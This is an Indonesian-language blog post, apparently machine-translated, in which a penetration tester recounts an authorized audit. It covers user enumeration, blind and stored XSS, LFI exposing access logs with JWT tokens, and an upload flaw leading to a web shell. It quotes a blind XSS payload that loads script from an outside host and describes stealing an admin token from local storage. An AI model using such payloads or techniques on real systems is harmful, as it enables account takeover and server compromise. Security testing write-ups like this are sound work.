Pada awal tahun, seorang karyawan dari satu perusahaan menulis kepada saya. Seperti yang saya pahami, ada konflik kecil di perusahaan. Karena itu ada risiko kompromi sistem oleh beberapa karyawan. Keputusan untuk mengaudit sistem jelas merupakan keputusan yang tepat. Lagi pula, hasil pemeriksaan itu mengejutkan saya, dan "tidak menyenangkan" mengejutkan pelanggan.
Arsitektur sistem pada prinsipnya adalah standar. Itu didasarkan pada layanan otentikasi. Lebih lanjut, menurut token yang dikeluarkan oleh jwt, pengguna dapat menggunakan fungsionalitas sistem pada berbagai subdomain.
Pengujian terbatas pada satu subdomain. Namun yang paling mendasar menurut pelanggan. Saya tidak akan menceritakan secara detail semua kesalahan dan masalah. Mereka banyak ditemukan. Saya hanya akan menggambarkan yang menurut saya paling penasaran.
Redundansi informasi saat mencari pengguna
Permintaan pencarian untuk pengguna diizinkan untuk menerima serangkaian informasi dengan sifat berikut - userID, Nama, Login, avatar ...
Tanpa masalah, dimungkinkan untuk mengumpulkan seluruh basis data pengguna Login_name. Tidak ada batasan khusus dalam fungsi login juga. Kemudian dimungkinkan untuk memilih kata sandi di beberapa aliran atau melakukan phishing titik pada pengguna sistem yang paling penting.
Buta XSS dalam meminta dukungan pengguna.
Saya mendapat kesan bahwa masalah ini hadir di 90% dari sistem yang saya temui. Sebelumnya, "tersentak" dari platform untuk mengumpulkan ulasan telah berulang kali terbang ke saya. Akses ke sistem pemantauan perilaku pengguna di Internet juga masuk. Ada banyak hal. Namun, sedikit orang yang mengerti betapa berbahayanya ini. Secara khusus, kerentanan ini ditulis di
sini .
Dalam hal ini, saya memastikan bahwa serangan itu bekerja secara tidak sengaja ketika saya menerima pemberitahuan dari
XSS Hunter . Vektor serangan adalah sebagai berikut:
"><script src=https://sa.xss.ht></script>
Tetapi pelanggan tidak percaya bahwa saya bisa mengendalikan panel admin melalui vektor serangan ini. Bagaimanapun, semua informasi berharga disimpan dalam penyimpanan lokal. Karena XSS Hunter tidak mendukung penerimaan informasi penyimpanan lokal, saya harus menggunakan XSS logger saya sendiri.
Publikasi berikut
ini sangat membantu. Sebagai hasil dari serangan berulang, itu mungkin untuk memverifikasi bahwa token administrator dapat dengan mudah diperoleh dengan cara jahat bahkan dari penyimpanan lokal.
Nah, kalau begitu dengan hak administrator dalam sistem, Anda bisa melakukan apa saja.
Menyimpan XSS dalam email.
Fungsionalitas ditemukan dalam sistem yang memungkinkan Anda membuat undangan email berbingkai untuk mendaftarkan pengguna baru. Anda dapat memasukkan nama orang tersebut dalam formulir surat. Untuk menjadikan email lebih pribadi. Akibatnya, semua konten tidak luput dan jatuh ke dalam surat. Untuk melakukan serangan xss sukses serupa melalui surat, Anda harus mengetahui klien email korban, dan Anda perlu tahu xss hari nol untuk klien ini. Secara umum, keberhasilan serangan ini, menurut definisi, dapat diabaikan. Hingga saat ketika saya menemukan tombol penasaran di sudut atas surat itu.
Itu adalah kesempatan untuk membuka versi web surat itu. Dan di sini kejutan menunggu saya. XSS saya berfungsi. Pada saat yang sama, versi web surat itu dibuka di admin. *. Subdomain Com
Kejutan ganda jadi untuk berbicara.
File access.log tersedia
Dalam proses audit, saya menemukan tempat yang menarik. Ketika karakter yang berbeda masuk ke permintaan, 404 tiba sebagai respons dari server, tetapi secara berkala, respons 404 sedikit berbeda dari yang sebelumnya. Terkadang ada tajuk ekstra. Terkadang tidak. Mutasi tertentu dalam respons sistem mendorong saya untuk memeriksa penyertaan file lokal (
LFI ) di tempat ini. Saya mengatur kamus lfi dan menunggu sistem mengembalikan jawaban atas semua permintaan saya. Alhasil, ketika melihat hasil tes, saya sangat terkejut dengan jawaban dengan status 200 dengan ukuran data transmisi yang sangat berat.
Ternyata saya menemukan file access.log yang dapat dibaca. File ini mencatat semua aktivitas di server. Termasuk dalam file ini dimungkinkan untuk mendeteksi token pengguna jwt.
Waktu kedaluwarsa dari token ini cukup besar. Dan itu juga tidak terlalu baik.
Akses web-shell penuh ke server
Pada prinsipnya, semua hal di atas adalah masalah umum. Tetapi jenis kerentanan tertentu sudah sulit dipenuhi. Ini tentang akses ke server melalui kode yang dimuat dengan rapi di file shell.php. Setelah semua proyek yang terletak di server ini dikompromikan.
Bo0oM menulis tentang masalah ini pada 2016 di blog-nya.
Tapi kembali ke contoh saya. Sistem memiliki kemampuan untuk membuat publikasi. Pada saat yang sama, dimungkinkan untuk mengunggah gambar untuk publikasi. Gambar disimpan di domain yang sama. Namun nama file diubah secara paksa. Yaitu Anda unggah - mypicture.jpg. Tetapi sebagai hasilnya, Anda mendapatkan 12345.jpg. Saya memutuskan untuk memeriksa apa yang akan terjadi jika saya mentransfer file xml (pada waktu itu saya tampaknya bermimpi bertemu dengan XXE). Dan yang mengejutkan saya, saya mendapat jawaban 123556.xml. Dan kemudian saya menyadari bahwa ada 99% peluang sukses dengan ekstensi file php untuk shell web. Untuk serangan ini, saya menggunakan
shell b374k . Dengan akses langsung ke file - saya mendapatkan apa yang saya inginkan. Akses ke direktori server.
Tapi itu bukan hal yang paling menyedihkan. Yang paling menyedihkan adalah melalui kerentanan ini dimungkinkan untuk mengkompromikan lebih dari 10 proyek yang ada di direktori root server ini.
Teman saya
cyberpunkyc mengatakan bahwa ini dapat dilihat pada tahun 2007-2010. Sayangnya, di halaman 2019. Masalah serupa ada sampai hari ini.
Sebagai hasil pengujian, pelanggan sangat terkejut dengan hasilnya. Dan saya sangat senang bahwa saya sangat berguna dalam pengujian. Jika Anda memiliki saran dengan proyek yang menarik - jangan ragu untuk menulis kepada saya di
telegram ;)